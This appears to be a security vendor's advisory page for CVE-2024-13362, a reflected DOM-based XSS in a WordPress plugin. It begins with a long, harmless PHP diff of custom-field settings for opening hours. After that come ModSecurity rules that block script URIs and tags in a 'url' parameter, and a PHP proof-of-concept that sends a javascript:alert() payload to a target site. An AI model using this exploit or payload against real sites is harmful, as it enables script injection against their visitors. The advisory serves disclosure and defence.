+								'value' => '1',
+							),
+						),
+					),
+					'wrapper' => array(
+						'width' => '',
+						'class' => '',
+						'id' => '',
+					),
+					'layout' => 'block',
+					'sub_fields' => array(
+						array(
+							'key' => 'field_6206d2ba50502',
+							'label' => 'Open',
+							'name' => 'open',
+							'aria-label' => '',
+							'type' => 'time_picker',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'display_format' => 'g:i a',
+							'return_format' => 'g:i a',
+						),
+						array(
+							'key' => 'field_6206d2ba50503',
+							'label' => 'Close',
+							'name' => 'close',
+							'aria-label' => '',
+							'type' => 'time_picker',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'display_format' => 'g:i a',
+							'return_format' => 'g:i a',
+						),
+						array(
+							'key' => 'field_622fbe07ca82a',
+							'label' => 'Closed',
+							'name' => 'closed',
+							'aria-label' => '',
+							'type' => 'true_false',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'message' => '',
+							'default_value' => 0,
+							'ui' => 0,
+							'ui_on_text' => '',
+							'ui_off_text' => '',
+						),
+					),
 				),
-				'default_value' => '',
-				'placeholder' => '',
-			),
-			array(
-				'key' => 'field_6206d24a504fc',
-				'label' => 'Hours',
-				'name' => 'hours',
-				'aria-label' => '',
-				'type' => 'group',
-				'instructions' => '',
-				'required' => 0,
-				'conditional_logic' => array(
-					array(
-						array(
-							'field' => 'field_6206d36b2ce8f',
-							'operator' => '==',
-							'value' => '1',
-						),
-					),
-				),
-				'wrapper' => array(
-					'width' => '55',
-					'class' => '',
-					'id' => '',
-				),
-				'layout' => 'block',
-				'sub_fields' => array(
-					array(
-						'key' => 'field_6206d45207365',
-						'label' => 'Show Hours',
-						'name' => 'show_hours',
-						'aria-label' => '',
-						'type' => 'true_false',
-						'instructions' => '',
-						'required' => 0,
-						'conditional_logic' => 0,
-						'wrapper' => array(
-							'width' => '',
-							'class' => '',
-							'id' => '',
-						),
-						'message' => '',
-						'default_value' => 0,
-						'ui' => 1,
-						'ui_on_text' => '',
-						'ui_off_text' => '',
-					),
-					array(
-						'key' => 'field_6206d27c504fd',
-						'label' => 'Monday',
-						'name' => 'monday',
-						'aria-label' => '',
-						'type' => 'group',
-						'instructions' => '',
-						'required' => 0,
-						'conditional_logic' => array(
-							array(
-								array(
-									'field' => 'field_6206d45207365',
-									'operator' => '==',
-									'value' => '1',
-								),
-							),
-						),
-						'wrapper' => array(
-							'width' => '',
-							'class' => '',
-							'id' => '',
-						),
-						'layout' => 'block',
-						'sub_fields' => array(
-							array(
-								'key' => 'field_6206d28f504ff',
-								'label' => 'Open',
-								'name' => 'open',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_6206d2ae50500',
-								'label' => 'Close',
-								'name' => 'close',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_622fbdddca829',
-								'label' => 'Closed',
-								'name' => 'closed',
-								'aria-label' => '',
-								'type' => 'true_false',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'message' => '',
-								'default_value' => 0,
-								'ui' => 0,
-								'ui_on_text' => '',
-								'ui_off_text' => '',
-							),
-						),
-					),
-					array(
-						'key' => 'field_6206d2ba50501',
-						'label' => 'Tuesday',
-						'name' => 'tuesday',
-						'aria-label' => '',
-						'type' => 'group',
-						'instructions' => '',
-						'required' => 0,
-						'conditional_logic' => array(
-							array(
-								array(
-									'field' => 'field_6206d45207365',
-									'operator' => '==',
-									'value' => '1',
-								),
-							),
-						),
-						'wrapper' => array(
-							'width' => '',
-							'class' => '',
-							'id' => '',
-						),
-						'layout' => 'block',
-						'sub_fields' => array(
-							array(
-								'key' => 'field_6206d2ba50502',
-								'label' => 'Open',
-								'name' => 'open',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_6206d2ba50503',
-								'label' => 'Close',
-								'name' => 'close',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_622fbe07ca82a',
-								'label' => 'Closed',
-								'name' => 'closed',
-								'aria-label' => '',
-								'type' => 'true_false',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'message' => '',
-								'default_value' => 0,
-								'ui' => 0,
-								'ui_on_text' => '',
-								'ui_off_text' => '',
-							),
-						),
-					),
-					array(
-						'key' => 'field_6206d2c050504',
-						'label' => 'Wednesday',
-						'name' => 'wednesday',
-						'aria-label' => '',
-						'type' => 'group',
-						'instructions' => '',
-						'required' => 0,
-						'conditional_logic' => array(
-							array(
-								array(
-									'field' => 'field_6206d45207365',
-									'operator' => '==',
-									'value' => '1',
-								),
-							),
-						),
-						'wrapper' => array(
-							'width' => '',
-							'class' => '',
-							'id' => '',
-						),
-						'layout' => 'block',
-						'sub_fields' => array(
-							array(
-								'key' => 'field_6206d2c050505',
-								'label' => 'Open',
-								'name' => 'open',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_6206d2c050506',
-								'label' => 'Close',
-								'name' => 'close',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_622fbe12ca82b',
-								'label' => 'Closed',
-								'name' => 'closed',
-								'aria-label' => '',
-								'type' => 'true_false',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'message' => '',
-								'default_value' => 0,
-								'ui' => 0,
-								'ui_on_text' => '',
-								'ui_off_text' => '',
-							),
-						),
-					),
-					array(
-						'key' => 'field_6206d2cd50508',
-						'label' => 'Thursday',
-						'name' => 'thursday',
-						'aria-label' => '',
-						'type' => 'group',
-						'instructions' => '',
-						'required' => 0,
-						'conditional_logic' => array(
-							array(
-								array(
-									'field' => 'field_6206d45207365',
-									'operator' => '==',
-									'value' => '1',
-								),
-							),
-						),
-						'wrapper' => array(
-							'width' => '',
-							'class' => '',
-							'id' => '',
-						),
-						'layout' => 'block',
-						'sub_fields' => array(
-							array(
-								'key' => 'field_6206d2cd50509',
-								'label' => 'Open',
-								'name' => 'open',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_6206d2cd5050a',
-								'label' => 'Close',
-								'name' => 'close',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_622fbe1bca82c',
-								'label' => 'Closed',
-								'name' => 'closed',
-								'aria-label' => '',
-								'type' => 'true_false',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'message' => '',
-								'default_value' => 0,
-								'ui' => 0,
-								'ui_on_text' => '',
-								'ui_off_text' => '',
-							),
-						),
-					),
-					array(
-						'key' => 'field_6206d2d35050b',
-						'label' => 'Friday',
-						'name' => 'friday',
-						'aria-label' => '',
-						'type' => 'group',
-						'instructions' => '',
-						'required' => 0,
-						'conditional_logic' => array(
-							array(
-								array(
-									'field' => 'field_6206d45207365',
-									'operator' => '==',
-									'value' => '1',
-								),
-							),
-						),
-						'wrapper' => array(
-							'width' => '',
-							'class' => '',
-							'id' => '',
-						),
-						'layout' => 'block',
-						'sub_fields' => array(
-							array(
-								'key' => 'field_6206d2d35050c',
-								'label' => 'Open',
-								'name' => 'open',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_6206d2d35050d',
-								'label' => 'Close',
-								'name' => 'close',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_622fbe25ca82d',
-								'label' => 'Closed',
-								'name' => 'closed',
-								'aria-label' => '',
-								'type' => 'true_false',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'message' => '',
-								'default_value' => 0,
-								'ui' => 0,
-								'ui_on_text' => '',
-								'ui_off_text' => '',
-							),
-						),
-					),
-					array(
-						'key' => 'field_6206d2d85050e',
-						'label' => 'Saturday',
-						'name' => 'saturday',
-						'aria-label' => '',
-						'type' => 'group',
-						'instructions' => '',
-						'required' => 0,
-						'conditional_logic' => array(
-							array(
-								array(
-									'field' => 'field_6206d45207365',
-									'operator' => '==',
-									'value' => '1',
-								),
-							),
-						),
-						'wrapper' => array(
-							'width' => '',
-							'class' => '',
-							'id' => '',
-						),
-						'layout' => 'block',
-						'sub_fields' => array(
-							array(
-								'key' => 'field_6206d2d85050f',
-								'label' => 'Open',
-								'name' => 'open',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_6206d2d850510',
-								'label' => 'Close',
-								'name' => 'close',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_622fbe2fca82e',
-								'label' => 'Closed',
-								'name' => 'closed',
-								'aria-label' => '',
-								'type' => 'true_false',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'message' => '',
-								'default_value' => 0,
-								'ui' => 0,
-								'ui_on_text' => '',
-								'ui_off_text' => '',
-							),
-						),
-					),
-					array(
-						'key' => 'field_6206d2df50511',
-						'label' => 'Sunday',
-						'name' => 'sunday',
-						'aria-label' => '',
-						'type' => 'group',
-						'instructions' => '',
-						'required' => 0,
-						'conditional_logic' => array(
-							array(
-								array(
-									'field' => 'field_6206d45207365',
-									'operator' => '==',
-									'value' => '1',
-								),
-							),
-						),
-						'wrapper' => array(
-							'width' => '',
-							'class' => '',
-							'id' => '',
-						),
-						'layout' => 'block',
-						'sub_fields' => array(
-							array(
-								'key' => 'field_6206d2df50512',
-								'label' => 'Open',
-								'name' => 'open',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_6206d2df50513',
-								'label' => 'Close',
-								'name' => 'close',
-								'aria-label' => '',
-								'type' => 'time_picker',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'display_format' => 'g:i a',
-								'return_format' => 'g:i a',
-							),
-							array(
-								'key' => 'field_622fbe38ca82f',
-								'label' => 'Closed',
-								'name' => 'closed',
-								'aria-label' => '',
-								'type' => 'true_false',
-								'instructions' => '',
-								'required' => 0,
-								'conditional_logic' => 0,
-								'wrapper' => array(
-									'width' => '33',
-									'class' => '',
-									'id' => '',
-								),
-								'message' => '',
-								'default_value' => 0,
-								'ui' => 0,
-								'ui_on_text' => '',
-								'ui_off_text' => '',
-							),
+				array(
+					'key' => 'field_6206d2c050504',
+					'label' => 'Wednesday',
+					'name' => 'wednesday',
+					'aria-label' => '',
+					'type' => 'group',
+					'instructions' => '',
+					'required' => 0,
+					'conditional_logic' => array(
+						array(
+							array(
+								'field' => 'field_6206d45207365',
+								'operator' => '==',
+								'value' => '1',
+							),
+						),
+					),
+					'wrapper' => array(
+						'width' => '',
+						'class' => '',
+						'id' => '',
+					),
+					'layout' => 'block',
+					'sub_fields' => array(
+						array(
+							'key' => 'field_6206d2c050505',
+							'label' => 'Open',
+							'name' => 'open',
+							'aria-label' => '',
+							'type' => 'time_picker',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'display_format' => 'g:i a',
+							'return_format' => 'g:i a',
+						),
+						array(
+							'key' => 'field_6206d2c050506',
+							'label' => 'Close',
+							'name' => 'close',
+							'aria-label' => '',
+							'type' => 'time_picker',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'display_format' => 'g:i a',
+							'return_format' => 'g:i a',
+						),
+						array(
+							'key' => 'field_622fbe12ca82b',
+							'label' => 'Closed',
+							'name' => 'closed',
+							'aria-label' => '',
+							'type' => 'true_false',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'message' => '',
+							'default_value' => 0,
+							'ui' => 0,
+							'ui_on_text' => '',
+							'ui_off_text' => '',
 						),
 					),
 				),
-			),
-			array(
-				'key' => 'field_6206d2ef50514',
-				'label' => 'Social Media',
-				'name' => 'social_media',
-				'aria-label' => '',
-				'type' => 'group',
-				'instructions' => '',
-				'required' => 0,
-				'conditional_logic' => array(
-					array(
-						array(
-							'field' => 'field_6206d36b2ce8f',
-							'operator' => '==',
-							'value' => '1',
+				array(
+					'key' => 'field_6206d2cd50508',
+					'label' => 'Thursday',
+					'name' => 'thursday',
+					'aria-label' => '',
+					'type' => 'group',
+					'instructions' => '',
+					'required' => 0,
+					'conditional_logic' => array(
+						array(
+							array(
+								'field' => 'field_6206d45207365',
+								'operator' => '==',
+								'value' => '1',
+							),
+						),
+					),
+					'wrapper' => array(
+						'width' => '',
+						'class' => '',
+						'id' => '',
+					),
+					'layout' => 'block',
+					'sub_fields' => array(
+						array(
+							'key' => 'field_6206d2cd50509',
+							'label' => 'Open',
+							'name' => 'open',
+							'aria-label' => '',
+							'type' => 'time_picker',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'display_format' => 'g:i a',
+							'return_format' => 'g:i a',
+						),
+						array(
+							'key' => 'field_6206d2cd5050a',
+							'label' => 'Close',
+							'name' => 'close',
+							'aria-label' => '',
+							'type' => 'time_picker',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'display_format' => 'g:i a',
+							'return_format' => 'g:i a',
+						),
+						array(
+							'key' => 'field_622fbe1bca82c',
+							'label' => 'Closed',
+							'name' => 'closed',
+							'aria-label' => '',
+							'type' => 'true_false',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'message' => '',
+							'default_value' => 0,
+							'ui' => 0,
+							'ui_on_text' => '',
+							'ui_off_text' => '',
 						),
 					),
 				),
-				'wrapper' => array(
-					'width' => '55',
-					'class' => '',
-					'id' => '',
+				array(
+					'key' => 'field_6206d2d35050b',
+					'label' => 'Friday',
+					'name' => 'friday',
+					'aria-label' => '',
+					'type' => 'group',
+					'instructions' => '',
+					'required' => 0,
+					'conditional_logic' => array(
+						array(
+							array(
+								'field' => 'field_6206d45207365',
+								'operator' => '==',
+								'value' => '1',
+							),
+						),
+					),
+					'wrapper' => array(
+						'width' => '',
+						'class' => '',
+						'id' => '',
+					),
+					'layout' => 'block',
+					'sub_fields' => array(
+						array(
+							'key' => 'field_6206d2d35050c',
+							'label' => 'Open',
+							'name' => 'open',
+							'aria-label' => '',
+							'type' => 'time_picker',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'display_format' => 'g:i a',
+							'return_format' => 'g:i a',
+						),
+						array(
+							'key' => 'field_6206d2d35050d',
+							'label' => 'Close',
+							'name' => 'close',
+							'aria-label' => '',
+							'type' => 'time_picker',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'display_format' => 'g:i a',
+							'return_format' => 'g:i a',
+						),
+						array(
+							'key' => 'field_622fbe25ca82d',
+							'label' => 'Closed',
+							'name' => 'closed',
+							'aria-label' => '',
+							'type' => 'true_false',
+							'instructions' => '',
+							'required' => 0,
+							'conditional_logic' => 0,
+							'wrapper' => array(
+								'width' => '33',
+								'class' => '',
+								'id' => '',
+							),
+							'message' => '',
+							'default_value' => 0,
+							'ui' => 0,
+							'ui_on_text' => '',
+							'ui_off_text' => '',
+						),
+					),
 				),
-				'layo

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2024-13362
# This rule blocks reflected DOM-based XSS via the 'url' parameter in Mapster WP Maps
# Targeted: ?url=javascript:... or ?url=... with script injection
SecRule REQUEST_URI "@streq /" 
  "id:20261994,phase:1,deny,status:403,chain,msg:'CVE-2024-13362 XSS via url parameter in Mapster WP Maps',severity:'CRITICAL',tag:'CVE-2024-13362',tag:'WordPress',tag:'XSS'"
  SecRule QUERY_STRING "@rx (?:^|[&;])url=(?:javascript|data|vbscript):" 
    "t:urlDecode,t:lowercase,chain"
    SecRule ARGS_GET:url "@rx ^(?:javascript|data|vbscript|file):" 
      "t:urlDecode,t:lowercase"

# Additional rule for encoded variants or direct script injection
SecRule REQUEST_URI "@streq /" 
  "id:20261995,phase:1,deny,status:403,chain,msg:'CVE-2024-13362 XSS via url parameter - encoded/script',severity:'CRITICAL',tag:'CVE-2024-13362',tag:'WordPress',tag:'XSS'"
  SecRule QUERY_STRING "@rx (?:^|[&;])url=.*(?:<script|<img|<svg|<onw+|=alert|=confirm|=prompt)" 
    "t:urlDecode,t:lowercase,t:htmlEntityDecode,chain"
    SecRule ARGS_GET:url "@rx (?:<script|<img|<svg|<onw+|=alert|=confirm|=prompt)" 
      "t:urlDecode,t:lowercase,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// Configuration
$target_url = 'https://example.com';  // Change to the vulnerable WordPress site

// Step 1: Craft the malicious URL with a simple XSS payload
// The 'url' parameter is vulnerable. We use a JavaScript URI that executes alert()
$xss_payload = 'javascript:alert("XSS_by_Atomic_Edge")';

// Step 2: Build the full URL
$attack_url = $target_url . '/?url=' . urlencode($xss_payload);

echo "[+] Target: $target_urln";
echo "[+] Exploit URL: $attack_urln";
echo "[+] Sending request to trigger reflected XSS...n";

// Step 3: Initialize cURL session
$ch = curl_init();

// Configure cURL options
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36');

// Step 4: Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($response === false) {
    echo "[!] cURL error: " . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

curl_close($ch);

echo "[+] HTTP Status Code: $http_coden";
echo "[+] Response length: " . strlen($response) . " bytesn";

// Step 5: Verify the payload appears in the response (indicating reflection)
if (strpos($response, 'javascript:alert("XSS') !== false || strpos($response, 'XSS_by_Atomic_Edge') !== false) {
    echo "[+] SUCCESS: XSS payload found in response. Vulnerability confirmed.n";
    echo "[+] Manual verification required: Open the attack URL in a browser to observe the alert box.n";
} else {
    echo "[-] Payload not directly reflected in raw response (DOM-based XSS may not appear in server response).n";
    echo "[-] Open the attack URL in a browser to manually verify. The JavaScript executes on the client side.n";
}

// Alternative: Test with a more aggressive payload that might reflect
// Note: DOM-based XSS may not reflect in server response but still executes

echo "n[+] CVE-2024-13362 Proof of Concept completed.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School